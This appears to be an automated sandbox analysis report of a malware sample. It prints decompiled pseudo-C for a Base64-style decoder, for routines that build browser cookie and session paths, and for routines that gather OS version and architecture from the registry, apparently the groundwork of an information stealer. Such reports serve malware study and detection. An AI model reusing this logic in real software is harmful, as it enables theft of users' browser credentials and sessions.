                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID: __vba$Free$CheckHresult$New2$Move$#562#611#705Copy
                • String ID: Inferencing$Sprinkelvrkernes
                • API String ID: 3821766861-2317132577
                • Opcode ID: f44c9d4370d55dee069d064051ccf1c50e21b7dc8d63077cd860d68f5a1a2a5f
                • Instruction ID: 20e3f666f7d9361f21cfbd26fa141af865dfd4d8acdf7b6bd812df65e4446261
                • Opcode Fuzzy Hash: f44c9d4370d55dee069d064051ccf1c50e21b7dc8d63077cd860d68f5a1a2a5f
                • Instruction Fuzzy Hash: E4715E71900204ABDB14FFA6C886EDE7BB8EF19705F54402EF501B71E1DB789909CBA8
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 98%
                			E0043881D(char _a4, signed char* _a8) {
                				intOrPtr _v8;
                				intOrPtr _v12;
                				intOrPtr _v16;
                				intOrPtr _v20;
                				intOrPtr _v24;
                				intOrPtr _v28;
                				intOrPtr _v32;
                				intOrPtr _v36;
                				intOrPtr _v40;
                				intOrPtr _v44;
                				intOrPtr _v48;
                				intOrPtr _v52;
                				intOrPtr _v56;
                				intOrPtr _v60;
                				intOrPtr _v64;
                				intOrPtr _v68;
                				intOrPtr _v72;
                				intOrPtr _v76;
                				intOrPtr _v80;
                				intOrPtr _v84;
                				intOrPtr _v88;
                				intOrPtr _v92;
                				intOrPtr _v96;
                				intOrPtr _v100;
                				intOrPtr _v104;
                				intOrPtr _v108;
                				intOrPtr _v112;
                				intOrPtr _v116;
                				intOrPtr _v120;
                				intOrPtr _v124;
                				intOrPtr _v128;
                				intOrPtr _v132;
                				intOrPtr _v136;
                				intOrPtr _v140;
                				intOrPtr _v144;
                				intOrPtr _v148;
                				intOrPtr _v152;
                				intOrPtr _v156;
                				intOrPtr _v160;
                				intOrPtr _v164;
                				intOrPtr _v168;
                				intOrPtr _v172;
                				intOrPtr _v176;
                				intOrPtr _v180;
                				intOrPtr _v184;
                				intOrPtr _v188;
                				intOrPtr _v192;
                				intOrPtr _v196;
                				intOrPtr _v200;
                				intOrPtr _v204;
                				intOrPtr _v208;
                				intOrPtr _v212;
                				intOrPtr _v216;
                				intOrPtr _v220;
                				intOrPtr _v224;
                				intOrPtr _v228;
                				intOrPtr _v232;
                				intOrPtr _v236;
                				intOrPtr _v240;
                				intOrPtr _v244;
                				intOrPtr _v248;
                				intOrPtr _v252;
                				intOrPtr _v256;
                				intOrPtr _v260;
                				signed char* _t115;
                				signed int _t139;
                				signed char* _t157;
                				signed int _t158;
                				signed int _t161;
                				signed int _t172;
                				signed int _t173;
                				signed int _t176;
                				signed char* _t177;
                				void* _t178;
                
                				_t157 = _a8;
                				_v260 = 0x40404040;
                				_v256 = 0x40404040;
                				_v252 = 0x40404040;
                				_v248 = 0x40404040;
                				_v244 = 0x40404040;
                				_v240 = 0x40404040;
                				_v236 = 0x40404040;
                				_v232 = 0x40404040;
                				_v228 = 0x40404040;
                				_v224 = 0x40404040;
                				_v220 = 0x3e404040;
                				_v216 = 0x3f404040;
                				_v212 = 0x37363534;
                				_v208 = 0x3b3a3938;
                				_v204 = 0x40403d3c;
                				_v200 = 0x40404040;
                				_v196 = 0x2010040;
                				_v192 = 0x6050403;
                				_v188 = 0xa090807;
                				_v184 = 0xe0d0c0b;
                				_v180 = 0x1211100f;
                				_v176 = 0x16151413;
                				_v172 = 0x40191817;
                				_v168 = 0x40404040;
                				_v164 = 0x1c1b1a40;
                				_v160 = 0x201f1e1d;
                				_v156 = 0x24232221;
                				_v152 = 0x28272625;
                				_v148 = 0x2c2b2a29;
                				_v144 = 0x302f2e2d;
                				_v140 = 0x40333231;
                				_v136 = 0x40404040;
                				_v132 = 0x40404040;
                				_v128 = 0x40404040;
                				_v124 = 0x40404040;
                				_v120 = 0x40404040;
                				_v116 = 0x40404040;
                				_v112 = 0x40404040;
                				_v108 = 0x40404040;
                				_v104 = 0x40404040;
                				_v100 = 0x40404040;
                				_v96 = 0x40404040;
                				_v92 = 0x40404040;
                				_v88 = 0x40404040;
                				_v84 = 0x40404040;
                				_v80 = 0x40404040;
                				_v76 = 0x40404040;
                				_v72 = 0x40404040;
                				_v68 = 0x40404040;
                				_v64 = 0x40404040;
                				_v60 = 0x40404040;
                				_v56 = 0x40404040;
                				_v52 = 0x40404040;
                				_v48 = 0x40404040;
                				_v44 = 0x40404040;
                				_v40 = 0x40404040;
                				_v36 = 0x40404040;
                				_v32 = 0x40404040;
                				_v28 = 0x40404040;
                				_v24 = 0x40404040;
                				_v20 = 0x40404040;
                				_v16 = 0x40404040;
                				_v12 = 0x40404040;
                				_v8 = 0x40404040;
                				_t115 = _t157;
                				do {
                					_t176 =  *_t115 & 0x000000ff;
                					_t115 =  &(_t115[1]);
                				} while ( *((intOrPtr*)(_t178 + _t176 - 0x100)) <= 0x3f);
                				_t68 =  &_a4; // 0x40404040
                				_t177 =  *_t68;
                				_t69 = _t115 - _t157 - 1; // 0x0
                				_t173 = _t69;
                				_t70 = _t173 + 3; // 0x3
                				asm("cdq");
                				_a8 = (_t70 + 3 >> 2) + (_t70 + 3 >> 2) * 2;
                				if(_t173 > 4) {
                					_t74 = _t173 - 5; // -5
                					_t172 = (_t74 >> 2) + 1;
                					_t173 = _t173 +  ~_t172 * 4;
                					do {
                						_t78 = ( *_t157 & 0x000000ff) - 0x100; // 0x40404040
                						_t81 = (_t157[1] & 0x000000ff) - 0x100; // 0x40404040
                						 *_t177 = ( *(_t178 + _t81) & 0x000000ff) >> 0x00000004 | ( *(_t178 + _t78) & 0x000000ff) + ( *(_t178 + _t78) & 0x000000ff) + ( *(_t178 + _t78) & 0x000000ff) + ( *(_t178 + _t78) & 0x000000ff);
                						_t139 = _t157[1] & 0x000000ff;
                						_t85 = (_t157[2] & 0x000000ff) - 0x100; // 0x40404040
                						_t87 = _t139 - 0x100; // 0x40404040
                						_t177[1] = ( *(_t178 + _t87) & 0x000000ff) << 0x00000004 | ( *(_t178 + _t85) & 0x000000ff) >> 0x00000002;
                						_t91 = (_t157[2] & 0x000000ff) - 0x100; // 0x40404040
                						_t94 = (_t157[3] & 0x000000ff) - 0x100; // 0x40404040
                						_t177 =  &(_t177[3]);
                						 *(_t177 - 1) = ( *(_t178 + _t91) & 0x000000ff) << 0x00000006 |  *(_t178 + _t94);
                						_t157 =  &(_t157[4]);
                						_t172 = _t172 - 1;
                					} while (_t172 != 0);
                				}
                				if(_t173 > 1) {
                					_t98 = (_t157[1] & 0x000000ff) - 0x100; // 0x40404040
                					_t100 = ( *_t157 & 0x000000ff) - 0x100; // 0x40404040
                					 *_t177 =  *(_t178 + _t98) >> 0x00000004 |  *((intOrPtr*)(_t178 + _t100)) +  *((intOrPtr*)(_t178 + _t100)) +  *((intOrPtr*)(_t178 + _t100)) +  *((intOrPtr*)(_t178 + _t100));
                					_t177 =  &(_t177[1]);
                				}
                				if(_t173 > 2) {
                					_t103 = (_t157[2] & 0x000000ff) - 0x100; // 0x40404040
                					_t106 = (_t157[1] & 0x000000ff) - 0x100; // 0x40404040
                					 *_t177 =  *(_t178 + _t103) >> 0x00000002 |  *(_t178 + _t106) << 0x00000004;
                					_t177 =  &(_t177[1]);
                				}
                				if(_t173 > 3) {
                					_t161 = _t157[2] & 0x000000ff;
                					_t158 = _t157[3] & 0x000000ff;
                					_t110 = _t161 - 0x100; // 0x40404040
                					_t112 = _t158 - 0x100; // 0x40404040
                					_t177 =  &(_t177[1]);
                					 *(_t177 - 1) =  *(_t178 + _t110) << 0x00000006 |  *(_t178 + _t112);
                				}
                				_t114 =  &_a8; // 0x40404040
                				 *_t177 = 0;
                				return  *_t114 - ( ~_t173 & 0x00000003);
                			}













































































                0x00438826
                0x0043882a
                0x00438834
                0x0043883e
                0x00438848
                0x00438852
                0x0043885c
                0x00438866
                0x00438870
                0x0043887a
                0x00438884
                0x0043888e
                0x0043889a
                0x004388a4
                0x004388ae
                0x004388b8
                0x004388c2
                0x004388cc
                0x004388d6
                0x004388e0
                0x004388ea
                0x004388f4
                0x004388fe
                0x00438908
                0x00438912
                0x0043891c
                0x00438926
                0x00438930
                0x0043893a
                0x00438944
                0x0043894e
                0x00438958
                0x00438962
                0x0043896c
                0x00438973
                0x0043897a
                0x00438981
                0x00438988
                0x0043898f
                0x00438996
                0x0043899d
                0x004389a4
                0x004389ab
                0x004389b2
                0x004389b9
                0x004389c0
                0x004389c7
                0x004389ce
                0x004389d5
                0x004389dc
                0x004389e3
                0x004389ea
                0x004389f1
                0x004389f8
                0x004389ff
                0x00438a06
                0x00438a0d
                0x00438a14
                0x00438a1b
                0x00438a22
                0x00438a29
                0x00438a30
                0x00438a37
                0x00438a3e
                0x00438a45
                0x00438a4c
                0x00438a4f
                0x00438a4f
                0x00438a52
                0x00438a53
                0x00438a5c
                0x00438a5c
                0x00438a61
                0x00438a61
                0x00438a64
                0x00438a67
                0x00438a73
                0x00438a79
                0x00438a7b
                0x00438a81
                0x00438a86
                0x00438a8d
                0x00438a90
                0x00438a9c
                0x00438aad
                0x00438aaf
                0x00438ab7
                0x00438abf
                0x00438acf
                0x00438ad6
                0x00438ae5
                0x00438aec
                0x00438aef
                0x00438af2
                0x00438af5
                0x00438af5
                0x00438af8
                0x00438afc
                0x00438b02
                0x00438b0c
                0x00438b1c
                0x00438b1e
                0x00438b1e
                0x00438b22
                0x00438b28
                0x00438b33
                0x00438b42
                0x00438b44
                0x00438b44
                0x00438b48
                0x00438b4a
                0x00438b4e
                0x00438b52
                0x00438b5c
                0x00438b63
                0x00438b64
                0x00438b64
                0x00438b67
                0x00438b72
                0x00438b79

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: !"#$$%&'($)*+,$-./0$123@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@@@@@$@@@@@@@@@@@@$@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>@@@?456789:;<=@@@@@@@
                • API String ID: 0-2319971335
                • Opcode ID: 88d2f9759e5af378ae688ea4fd5311552ce04c6e866e263db9e13d76fe42414d
                • Instruction ID: 796fd6a4f95a0beaa10f0210e85a5ffc27f44ed24c0e994cf27c7c321b1c4228
                • Opcode Fuzzy Hash: 88d2f9759e5af378ae688ea4fd5311552ce04c6e866e263db9e13d76fe42414d
                • Instruction Fuzzy Hash: A191FDF08052A98ACB118F55A4603DFBF71BB95304F1581E9D6AA7B243C3BE4E85DF90
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 53%
                			E0043457D(void* __ebx, void* __edx, void* __edi, void* __eflags, void* __fp0, intOrPtr _a4) {
                				short _v8;
                				intOrPtr _v12;
                				intOrPtr _v16;
                				intOrPtr _v20;
                				char _v24;
                				short _v28;
                				intOrPtr _v32;
                				char _v36;
                				intOrPtr _v40;
                				intOrPtr _v44;
                				intOrPtr _v48;
                				char _v52;
                				short _v56;
                				intOrPtr _v60;
                				intOrPtr _v64;
                				intOrPtr _v68;
                				intOrPtr _v72;
                				intOrPtr _v76;
                				intOrPtr _v80;
                				intOrPtr _v84;
                				intOrPtr _v88;
                				char _v92;
                				short _v96;
                				intOrPtr _v100;
                				intOrPtr _v104;
                				intOrPtr _v108;
                				intOrPtr _v112;
                				intOrPtr _v116;
                				char _v120;
                				short _v124;
                				intOrPtr _v128;
                				intOrPtr _v132;
                				intOrPtr _v136;
                				intOrPtr _v140;
                				intOrPtr _v144;
                				intOrPtr _v148;
                				intOrPtr _v152;
                				char _v156;
                				char _v1178;
                				char _v1180;
                				void* __esi;
                				void* __ebp;
                				void* _t105;
                				signed int _t107;
                				short* _t109;
                				void* _t115;
                				short* _t154;
                				intOrPtr _t155;
                				void* _t156;
                				void* _t157;
                				void* _t161;
                				void* _t162;
                				void* _t169;
                
                				_t171 = __fp0;
                				_t153 = __edi;
                				_t120 = __ebx;
                				_t155 = _a4;
                				E004339BD(__ebx, __edx, _t155);
                				_push(0x3fe);
                				_v8 = 0;
                				_v124 = 0;
                				_push(0);
                				_push( &_v1178);
                				_v36 = 0x4c005c;
                				_v32 = 0x77006f;
                				_v28 = 0;
                				_v52 = 0x73002e;
                				_v48 = 0x6c0071;
                				_v44 = 0x740069;
                				_v40 = 0x65;
                				_v24 = 0x43005c;
                				_v20 = 0x6f006f;
                				_v16 = 0x69006b;
                				_v12 = 0x730065;
                				_v120 = 0x49005c;
                				_v116 = 0x65004e;
                				_v112 = 0x430074;
                				_v108 = 0x6f006f;
                				_v104 = 0x69006b;
                				_v100 = 0x730065;
                				_v96 = 0;
                				_v156 = 0x43005c;
                				_v152 = 0x720075;
                				_v148 = 0x650072;
                				_v144 = 0x74006e;
                				_v140 = 0x530020;
                				_v136 = 0x730065;
                				_v132 = 0x690073;
                				_v128 = 0x6e006f;
                				_v92 = 0x4d005c;
                				_v88 = 0x630069;
                				_v84 = 0x6f0072;
                				_v80 = 0x6f0073;
                				_v76 = 0x740066;
                				_v72 = 0x57005c;
                				_v68 = 0x6e0069;
                				_v64 = 0x6f0064;
                				_v60 = 0x730077;
                				_v56 = 0;
                				_v1180 = 0;
                				L004494CD();
                				E0043923D(_t155,  &_v1180, 2, 0);
                				_push(0);
                				_push( &_v24);
                				_push( &_v1180);
                				L004498AD();
                				E004338DD(__fp0, _t155,  &_v1180);
                				_push(0x3fc);
                				_push( &_v1180);
                				L0044947D();
                				E0043923D(_t155,  &_v1180, 3, 0);
                				_push(0);
                				_push( &_v92);
                				_push( &_v1180);
                				L004498AD();
                				_push(0);
                				_push( &_v24);
                				_push( &_v1180);
                				L004498AD();
                				E004338DD(__fp0, _t155,  &_v1180);
                				_push(0);
                				_push( &_v36);
                				_push( &_v1180);
                				L004498AD();
                				E004338DD(_t171, _t155,  &_v1180);
                				_push(0x3fc);
                				_push( &_v1180);
                				L0044947D();
                				E0043923D(_t155,  &_v1180, 1, 0);
                				_push(0);
                				_push( &_v92);
                				_push( &_v1180);
                				L004498AD();
                				_push(0);
                				_push( &_v120);
                				_push( &_v1180);
                				L004498AD();
                				E004338DD(_t171, _t155,  &_v1180);
                				_push(0);
                				_push( &_v36);
                				_push( &_v1180);
                				L004498AD();
                				_t105 = E004338DD(_t171, _t155,  &_v1180);
                				_push(0x3fc);
                				_push( &_v1180);
                				L0044947D();
                				_push(1);
                				_push( &_v1180);
                				_push(_t155);
                				L0043F4DD(_t105, __edi, _t155);
                				_t107 =  &_v1180;
                				_push(_t107);
                				L0044973D();
                				_t161 = _t157 + 0xe4;
                				if(_t107 > 0x10) {
                					_push(__edi);
                					_push(0);
                					_t154 = _t156 + _t107 * 2 - 0x4ae;
                					_push( &_v24);
                					_push( &_v1180);
                					 *_t154 = 0;
                					L004498AD();
                					E004338DD(_t171, _t155,  &_v1180);
                					_push(0);
                					_push( &_v156);
                					_push( &_v1180);
                					 *_t154 = 0;
                					L004498AD();
                					E004338DD(_t171, _t155,  &_v1180);
                					_t161 = _t161 + 0x28;
                					_pop(_t153);
                				}
                				_push(0x3fc);
                				_push( &_v1180);
                				L0044947D();
                				_t79 = _t155 + 0xb5c; // 0xfc3d10c4
                				_t109 =  *_t79;
                				_t162 = _t161 + 8;
                				if(_t109 != 0 &&  *_t109 != 0) {
                					_push(_t109);
                					L0044973D();
                					_t80 = _t155 + 0xb5c; // 0xfc3d10c4
                					_t115 = _t109 + _t109;
                					_t169 = _t115;
                					_push(_t115);
                					_push( *_t80);
                					_push( &_v1180);
                					L0044944D();
                					_t162 = _t162 + 0x10;
                				}
                				_push(0);
                				_push( &_v24);
                				_push( &_v1180);
                				L004498AD();
                				_push(0);
                				_push( &_v52);
                				_push( &_v1180);
                				L004498AD();
                				E004338DD(_t171, _t155,  &_v1180);
                				E00433A9D(_t120, _t153, _t169, _t171, _t155);
                				return 0;
                			}
























































                0x0043457d
                0x0043457d
                0x0043457d
                0x00434587
                0x0043458b
                0x00434594
                0x0043459b
                0x0043459f
                0x004345a3
                0x004345aa
                0x004345ab
                0x004345b2
                0x004345b9
                0x004345bd
                0x004345c4
                0x004345cb
                0x004345d2
                0x004345d9
                0x004345e0
                0x004345e7
                0x004345ee
                0x004345f5
                0x004345fc
                0x00434603
                0x0043460a
                0x00434611
                0x00434618
                0x0043461f
                0x00434623
                0x0043462d
                0x00434637
                0x00434641
                0x0043464b
                0x00434655
                0x0043465f
                0x00434666
                0x0043466d
                0x00434674
                0x0043467b
                0x00434682
                0x00434689
                0x00434690
                0x00434697
                0x0043469e
                0x004346a5
                0x004346ac
                0x004346b0
                0x004346b7
                0x004346c8
                0x004346cd
                0x004346d2
                0x004346d9
                0x004346da
                0x004346e7
                0x004346f2
                0x004346f7
                0x004346f8
                0x00434709
                0x00434711
                0x00434716
                0x0043471d
                0x0043471e
                0x00434723
                0x00434728
                0x0043472f
                0x00434730
                0x0043473d
                0x00434742
                0x00434747
                0x0043474e
                0x0043474f
                0x0043475c
                0x00434767
                0x0043476c
                0x0043476d
                0x0043477e
                0x00434786
                0x0043478b
                0x00434792
                0x00434793
                0x00434798
                0x0043479d
                0x004347a4
                0x004347a5
                0x004347b2
                0x004347b7
                0x004347bc
                0x004347c3
                0x004347c4
                0x004347d1
                0x004347dc
                0x004347e1
                0x004347e2
                0x004347e7
                0x004347ef
                0x004347f0
                0x004347f1
                0x004347f6
                0x004347ff
                0x00434800
                0x00434805
                0x0043480b
                0x0043480d
                0x00434810
                0x00434811
                0x0043481b
                0x00434822
                0x00434823
                0x00434826
                0x00434833
                0x0043483a
                0x00434841
                0x00434848
                0x00434849
                0x0043484c
                0x00434859
                0x0043485e
                0x00434861
                0x00434861
                0x00434868
                0x0043486d
                0x0043486e
                0x00434873
                0x00434873
                0x00434879
                0x0043487e
                0x00434886
                0x00434887
                0x0043488c
                0x00434892
                0x00434892
                0x00434894
                0x00434895
                0x0043489c
                0x0043489d
                0x004348a2
                0x004348a2
                0x004348a5
                0x004348aa
                0x004348b1
                0x004348b2
                0x004348b7
                0x004348bc
                0x004348c3
                0x004348c4
                0x004348d1
                0x004348d7
                0x004348e5

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: $.$N$\$\$\$\$d$e$e$e$e$f$i$i$i$k$k$n$o$o$o$o$q$r$r$s$s$u$w
                • API String ID: 0-2259289501
                • Opcode ID: 3098a3bf0f0fa98c16f93f53ddc4a172be380c032458b11b27663e4aca626731
                • Instruction ID: 19b037f4cdb7146d13c9af22f2d6ef5aabf19be8ecf7dd023846887d725ec421
                • Opcode Fuzzy Hash: 3098a3bf0f0fa98c16f93f53ddc4a172be380c032458b11b27663e4aca626731
                • Instruction Fuzzy Hash: 359154B1920218AAEB14EF95CC45FEF77B9AF05704F0045AEB20867141DBB95B88CF79
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 54%
                			E0043310D(void* __ebx, void* __fp0, intOrPtr _a4) {
                				char _v8;
                				char _v12;
                				char _v16;
                				char _v20;
                				char _v24;
                				short _v26;
                				short _v30;
                				short _v34;
                				short _v36;
                				char _v40;
                				short _v44;
                				intOrPtr _v48;
                				intOrPtr _v52;
                				intOrPtr _v56;
                				intOrPtr _v60;
                				intOrPtr _v64;
                				intOrPtr _v68;
                				intOrPtr _v72;
                				intOrPtr _v76;
                				char _v80;
                				short _v82;
                				short _v86;
                				short _v90;
                				short _v94;
                				char _v96;
                				intOrPtr _v100;
                				short _v102;
                				char _v104;
                				char _v108;
                				short _v112;
                				short _v116;
                				short _v120;
                				char _v124;
                				short _v126;
                				short _v130;
                				short _v134;
                				short _v138;
                				char _v140;
                				char _v244;
                				intOrPtr _v248;
                				intOrPtr _v252;
                				intOrPtr _v256;
                				intOrPtr _v260;
                				intOrPtr _v264;
                				char _v268;
                				char _v370;
                				short _v372;
                				intOrPtr _v376;
                				intOrPtr _v380;
                				intOrPtr _v384;
                				intOrPtr _v388;
                				intOrPtr _v392;
                				char _v396;
                				char _v651;
                				char _v652;
                				intOrPtr _v1164;
                				char _v1170;
                				char _v1172;
                				char _v1682;
                				char _v1684;
                				char _v2706;
                				void* _v2708;
                				void* __edi;
                				void* __esi;
                				void* __ebp;
                				void* _t144;
                				char _t147;
                				intOrPtr _t148;
                				void* _t154;
                				signed int _t156;
                				void* _t160;
                				intOrPtr _t162;
                				void* _t164;
                				void* _t166;
                				void* _t167;
                				intOrPtr _t171;
                				signed int _t173;
                				char* _t175;
                				intOrPtr _t176;
                				void* _t179;
                				void* _t181;
                				char* _t192;
                				intOrPtr _t198;
                				intOrPtr* _t225;
                				intOrPtr _t226;
                				void* _t227;
                				void* _t228;
                				void* _t229;
                				void* _t230;
                				void* _t232;
                				void* _t237;
                				void* _t238;
                				void* _t240;
                				void* _t241;
                				void* _t242;
                
                				_t246 = __fp0;
                				_push(0x3fe);
                				_push(0);
                				_push( &_v2706);
                				_v2708 = 0;
                				L004494CD();
                				_push(0xff);
                				_push(0);
                				_push( &_v651);
                				_v652 = 0;
                				L004494CD();
                				_push(0x206);
                				_push(0);
                				_push( &_v1170);
                				_v1172 = 0;
                				L004494CD();
                				_push(0x1fe);
                				_push(0);
                				_push( &_v1682);
                				_v24 = 0;
                				_v1684 = 0;
                				L004494CD();
                				_t226 = _a4;
                				_push( &_v1684);
                				_push(_t226);
                				_v96 = 0x3a;
                				_v94 = 0;
                				_v90 = 0;
                				_v86 = 0;
                				_v82 = 0;
                				_v140 = 0x31;
                				_v138 = 0;
                				_v134 = 0;
                				_v130 = 0;
                				_v126 = 0;
                				_v124 = 0x352e32;
                				_v120 = 0;
                				_v116 = 0;
                				_v112 = 0;
                				_v40 = 0x474e4c58;
                				_v36 = 0x3a;
                				_v34 = 0;
                				_v30 = 0;
                				_v26 = 0;
                				_t225 =  *((intOrPtr*)(_t226 + 0x7d8)) + 0x2000;
                				_t144 = L0043A6ED(0, __ebx,  &_v1684, 0, _t225, _t226, __fp0);
                				_t230 = _t229 + 0x38;
                				if(_t144 != 0) {
                					_push(__ebx);
                					_push( &_v1684);
                					L0044973D();
                					_t147 = E00437F7D( &_v1684, _t144 + _t144);
                					_t34 =  &_v40; // 0x474e4c58
                					_v24 = _t147;
                					_t179 = _t225 + 0x84a4;
                					L0044971D();
                					_push(_t147);
                					_t37 =  &_v40; // 0x474e4c58
                					_push(_t179);
                					L0044944D();
                					_push(_t179);
                					L0044971D();
                					_t148 = _t147 + _t225 + 0x84a4;
                					_push(_t148);
                					_push(0x20);
                					_a4 = _t148;
                					_push(0x10);
                					_push(_v24);
                					_push(_t226 + 0x1c);
                					L0044967D();
                					_push(0);
                					_t43 =  &_v124; // 0x352e32
                					_push(_t179);
                					L0044984D();
                					_push(4);
                					_push(_a4);
                					_push(_t226 + 0xb9c);
                					L0044944D();
                					_t232 = _t230 + 0x4c;
                					if( *((intOrPtr*)(_t226 + 0xb44)) != 0) {
                						_push(0);
                						_push( &_v140);
                						_push(_t179);
                						 *((intOrPtr*)(_t225 + 8)) = 1;
                						L0044984D();
                						_t232 = _t232 + 0xc;
                					}
                					_push(0);
                					_push( &_v96);
                					_push(_t179);
                					L0044984D();
                					_push(0x68);
                					_push(0);
                					_push( &_v244);
                					_v12 = 0x36387820;
                					_v8 = 0;
                					_v20 = 0x34367820;
                					_v16 = 0;
                					_v268 = 0x720050;
                					_v264 = 0x64006f;
                					_v260 = 0x630075;
                					_v256 = 0x4e0074;
                					_v252 = 0x6d0061;
                					_v248 = 0x65;
                					L004494CD();
                					_v80 = 0x4e0020;
                					_v76 = 0x5c0054;
                					_v72 = 0x750043;
                					_v68 = 0x720072;
                					_v64 = 0x6e0065;
                					_v60 = 0x560074;
                					_v56 = 0x720065;
                					_v52 = 0x690073;
                					_v48 = 0x6e006f;
                					_v44 = 0;
                					E0043923D(_t226,  &_v2708, 0xe, 1);
                					_push(1);
                					L0044973D();
                					_t154 = E0043923D(_t226, _t228 +  &_v2708 * 2 - 0xa90,  &_v2708, 0xf);
                					_push( &_v80);
                					L0044973D();
                					_push(_t154 + _t154);
                					_t156 =  &_v80;
                					_push(_t156);
                					_push( &_v2708);
                					L0044973D();
                					_push(_t228 + _t156 * 2 - 0xaae);
                					L0044944D();
                					_t192 =  &_v268;
                					_push(_t192);
                					_v102 = 0x40;
                					_v100 = _t192;
                					L0044973D();
                					_v104 = 0x80;
                					_push(0x20219);
                					_push( &_v2708);
                					_push( &_v108);
                					_push(_t226);
                					_t160 = L0043A7AD( &_v2708, _t179,  &_v108, _t192, _t225, _t226, _t246);
                					_t237 = _t232 + 0x64;
                					if(_t160 != 0) {
                						_push( &_v24);
                						_push(0x100);
                						_t175 =  &_v1172;
                						_push(_t175);
                						_push(1);
                						_push( &_v104);
                						_push(_v108);
                						_push(_t226);
                						L0044772D();
                						_t237 = _t237 + 0x1c;
                						if(_t175 == 0) {
                							_t176 = _v1164;
                							_push(_t228 + _t176 - 0x490);
                							_push(_t179);
                							L0044971D();
                							_t96 = _t225 + 0x84a4; // 0x84a4
                							_push(_t176 + _t96);
                							L00449AED();
                							_push(_t228 + _v1164 - 0x490);
                							_push( &_v652);
                							L00449AED();
                							_t237 = _t237 + 0x14;
                						}
                					}
                					_t162 = E00432A4D(_t225,  &_v652);
                					_t238 = _t237 + 8;
                					 *((intOrPtr*)(_t226 + 0xb84)) = _t162;
                					_push(0);
                					if( *((intOrPtr*)(_t226 + 0x1c)) == 0) {
                						_t105 =  &_v12; // 0x36387820
                					} else {
                						_t104 =  &_v20; // 0x34367820
                					}
                					_push(_t179);
                					L0044984D();
                					_push(4);
                					_push(0x3000);
                					_push(0x1f4400);
                					_push(0);
                					_push(_t226);
                					L004493AD();
                					_push(4);
                					_push(0x3000);
                					_push(0x1f4400);
                					_push(0);
                					_push(_t226);
                					 *((intOrPtr*)(_t226 + 0xb3c)) = _t162;
                					L004493AD();
                					_t240 = _t238 + 0x34;
                					 *((intOrPtr*)(_t226 + 0xb40)) = _t162;
                					if( *((intOrPtr*)(_t226 + 0xb3c)) == 0 || _t162 == 0) {
                						L18:
                						return 0;
                					} else {
                						_t164 = E00432FFD(_t162, _t225);
                						_t241 = _t240 + 4;
                						if(_t164 == 0) {
                							goto L18;
                						} else {
                							_t166 = E0043923D(_t226, _t225 + 0x89ac, 4, 0);
                							_t181 = _t226 + 0xa2c;
                							_push(_t181);
                							_push(_t225 + 0x8aac);
                							L0044997D();
                							_t167 = E004329FD(_t166, _t225 + 0x8cec, _t181);
                							_push(_t181);
                							L0044973D();
                							_push(_t167 + _t167 + 2);
                							_push(_t181);
                							_push(_t225 + 0x8aec);
                							L0044944D();
                							_push(0x66);
                							_push(0);
                							_push( &_v370);
                							_v396 = 0x720050;
                							_v392 = 0x67006f;
                							_v388 = 0x610072;
                							_v384 = 0x46006d;
                							_v380 = 0x6c0069;
                							_v376 = 0x730065;
                							_v372 = 0;
                							L004494CD();
                							E0043910D(_t226,  &_v396, _t225 + 0x8a2c);
                							_t242 = _t241 + 0x48;
                							_t171 = _t225 + 0x20596c;
                							 *((intOrPtr*)(_t226 + 0xb60)) = _t171;
                							if( *((intOrPtr*)(_t226 + 0x9f4)) != 0) {
                								_t198 =  *((intOrPtr*)(_t226 + 0xb98));
                								if(_t198 != 0 &&  *((intOrPtr*)(_t226 + 0xb94)) != 0) {
                									 *((intOrPtr*)(_t225 + 0x28)) = _t198;
                									_push( *((intOrPtr*)(_t226 + 0xb98)));
                									_push( *((intOrPtr*)(_t226 + 0xb94)));
                									_push(_t171);
                									L0044944D();
                									_t242 = _t242 + 0xc;
                								}
                							}
                							 *_t225 = 1;
                							_t173 = E0043864D(_t171, 1, 3) & 0x000000ff;
                							 *(_t225 + 0x80) = _t173;
                							L0044899D();
                							_push(0);
                							_push( &_v96);
                							_t227 = _t225 + 0x84a4;
                							_push(_t227);
                							 *(_t225 + 0x84a0) = _t173;
                							L0044984D();
                							_push(_t227);
                							L0044971D();
                							 *(_t225 + 0x20) = _t173;
                							 *((intOrPtr*)(_t225 + 0x94)) = 0x64;
                							return 1;
                						}
                					}
                				} else {
                					return _t144;
                				}
                			}


































































































                0x0043310d
                0x0043311a
                0x0043311f
                0x00433126
                0x00433127
                0x0043312e
                0x00433133
                0x0043313e
                0x00433140
                0x00433141
                0x00433148
                0x0043314f
                0x00433154
                0x0043315b
                0x0043315c
                0x00433163
                0x0043316a
                0x0043316f
                0x00433176
                0x00433177
                0x0043317e
                0x00433185
                0x0043318a
                0x0043319b
                0x0043319c
                0x0043319d
                0x004331a3
                0x004331a6
                0x004331a9
                0x004331ac
                0x004331b0
                0x004331b9
                0x004331bf
                0x004331c5
                0x004331c8
                0x004331cc
                0x004331d3
                0x004331d6
                0x004331d9
                0x004331dc
                0x004331e3
                0x004331e9
                0x004331ec
                0x004331ef
                0x004331f3
                0x004331f9
                0x004331fe
